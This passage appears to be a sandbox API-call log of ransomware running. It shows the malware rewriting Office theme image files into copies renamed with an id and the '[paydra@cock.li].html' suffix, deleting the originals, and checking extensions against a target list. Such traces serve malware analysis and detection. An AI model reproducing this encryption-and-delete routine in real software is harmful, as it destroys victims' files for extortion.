[0046.469] lstrlenW (lpString=".7z") returned 3 [0046.469] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0046.469] lstrlenW (lpString=".dbf") returned 4 [0046.469] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0046.469] lstrlenW (lpString=".1cd") returned 4 [0046.469] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0046.469] lstrlenW (lpString=".jpg") returned 4 [0046.469] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.470] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.470] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.473] GetLastError () returned 0x0 [0046.473] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0046.476] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0046.476] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.476] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.477] SetEndOfFile (hFile=0x1e8) returned 1 [0046.477] CloseHandle (hObject=0x1e8) returned 1 [0046.477] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.477] SetEndOfFile (hFile=0x214) returned 1 [0046.478] CloseHandle (hObject=0x214) returned 1 [0046.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.478] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0046.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0046.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0046.478] lstrlenW (lpString=".doc") returned 4 [0046.478] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.478] lstrlenW (lpString=".docx") returned 5 [0046.478] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.478] lstrlenW (lpString=".pdf") returned 4 [0046.478] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.478] lstrlenW (lpString=".xls") returned 4 [0046.478] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.478] lstrlenW (lpString=".xlsx") returned 5 [0046.478] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.478] lstrlenW (lpString=".ppt") returned 4 [0046.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0046.479] lstrlenW (lpString=".zip") returned 4 [0046.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.479] lstrlenW (lpString=".rar") returned 4 [0046.479] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.479] lstrlenW (lpString=".bz2") returned 4 [0046.479] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.479] lstrlenW (lpString=".7z") returned 3 [0046.479] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0046.479] lstrlenW (lpString=".dbf") returned 4 [0046.479] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0046.479] lstrlenW (lpString=".1cd") returned 4 [0046.479] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0046.479] lstrlenW (lpString=".jpg") returned 4 [0046.479] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.480] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=31975) returned 1 [0046.480] CloseHandle (hObject=0x214) returned 1 [0046.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0046.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.480] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.480] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.481] GetLastError () returned 0x0 [0046.481] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0046.483] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0046.484] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.484] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.484] SetEndOfFile (hFile=0x1e8) returned 1 [0046.484] CloseHandle (hObject=0x1e8) returned 1 [0046.484] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.485] SetEndOfFile (hFile=0x214) returned 1 [0046.485] CloseHandle (hObject=0x214) returned 1 [0046.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0046.486] lstrlenW (lpString=".doc") returned 4 [0046.486] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.486] lstrlenW (lpString=".docx") returned 5 [0046.486] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.486] lstrlenW (lpString=".pdf") returned 4 [0046.486] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.486] lstrlenW (lpString=".xls") returned 4 [0046.486] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.486] lstrlenW (lpString=".xlsx") returned 5 [0046.486] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.486] lstrlenW (lpString=".ppt") returned 4 [0046.486] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0046.486] lstrlenW (lpString=".zip") returned 4 [0046.486] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.486] lstrlenW (lpString=".rar") returned 4 [0046.486] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.486] lstrlenW (lpString=".bz2") returned 4 [0046.486] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.486] lstrlenW (lpString=".7z") returned 3 [0046.486] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0046.487] lstrlenW (lpString=".dbf") returned 4 [0046.487] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0046.487] lstrlenW (lpString=".1cd") returned 4 [0046.487] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0046.487] lstrlenW (lpString=".jpg") returned 4 [0046.487] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.487] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.487] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.489] GetLastError () returned 0x0 [0046.489] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1004, lpOverlapped=0x0) returned 1 [0046.490] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0046.491] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.491] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.491] SetEndOfFile (hFile=0x1e8) returned 1 [0046.491] CloseHandle (hObject=0x1e8) returned 1 [0046.491] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.491] SetEndOfFile (hFile=0x214) returned 1 [0046.492] CloseHandle (hObject=0x214) returned 1 [0046.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.492] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0046.493] lstrlenW (lpString=".doc") returned 4 [0046.493] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.493] lstrlenW (lpString=".docx") returned 5 [0046.493] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.493] lstrlenW (lpString=".pdf") returned 4 [0046.493] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.493] lstrlenW (lpString=".xls") returned 4 [0046.493] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.493] lstrlenW (lpString=".xlsx") returned 5 [0046.493] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.493] lstrlenW (lpString=".ppt") returned 4 [0046.493] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0046.493] lstrlenW (lpString=".zip") returned 4 [0046.493] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.493] lstrlenW (lpString=".rar") returned 4 [0046.493] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.493] lstrlenW (lpString=".bz2") returned 4 [0046.493] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.493] lstrlenW (lpString=".7z") returned 3 [0046.493] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0046.493] lstrlenW (lpString=".dbf") returned 4 [0046.493] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0046.493] lstrlenW (lpString=".1cd") returned 4 [0046.493] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0046.493] lstrlenW (lpString=".jpg") returned 4 [0046.494] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.494] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=47962) returned 1 [0046.494] CloseHandle (hObject=0x214) returned 1 [0046.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0046.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.494] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.494] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.495] GetLastError () returned 0x0 [0046.495] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0046.497] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0046.498] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.498] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.499] SetEndOfFile (hFile=0x1e8) returned 1 [0046.499] CloseHandle (hObject=0x1e8) returned 1 [0046.499] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.499] SetEndOfFile (hFile=0x214) returned 1 [0046.500] CloseHandle (hObject=0x214) returned 1 [0046.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.500] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0046.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0046.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0046.500] lstrlenW (lpString=".doc") returned 4 [0046.500] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.500] lstrlenW (lpString=".docx") returned 5 [0046.500] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.501] lstrlenW (lpString=".pdf") returned 4 [0046.501] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.501] lstrlenW (lpString=".xls") returned 4 [0046.501] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.501] lstrlenW (lpString=".xlsx") returned 5 [0046.501] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.501] lstrlenW (lpString=".ppt") returned 4 [0046.501] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0046.501] lstrlenW (lpString=".zip") returned 4 [0046.501] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.501] lstrlenW (lpString=".rar") returned 4 [0046.501] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.501] lstrlenW (lpString=".bz2") returned 4 [0046.501] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.501] lstrlenW (lpString=".7z") returned 3 [0046.501] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0046.501] lstrlenW (lpString=".dbf") returned 4 [0046.501] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0046.501] lstrlenW (lpString=".1cd") returned 4 [0046.501] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0046.501] lstrlenW (lpString=".jpg") returned 4 [0046.501] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.502] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.502] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.606] GetLastError () returned 0x0 [0047.606] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0047.609] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0047.609] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.610] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.610] SetEndOfFile (hFile=0x20c) returned 1 [0047.610] CloseHandle (hObject=0x20c) returned 1 [0047.610] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.610] SetEndOfFile (hFile=0x214) returned 1 [0047.611] CloseHandle (hObject=0x214) returned 1 [0047.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.611] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0047.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0047.611] lstrlenW (lpString=".doc") returned 4 [0047.611] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.611] lstrlenW (lpString=".docx") returned 5 [0047.611] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.611] lstrlenW (lpString=".pdf") returned 4 [0047.611] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.611] lstrlenW (lpString=".xls") returned 4 [0047.611] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.611] lstrlenW (lpString=".xlsx") returned 5 [0047.612] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.612] lstrlenW (lpString=".ppt") returned 4 [0047.612] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0047.612] lstrlenW (lpString=".zip") returned 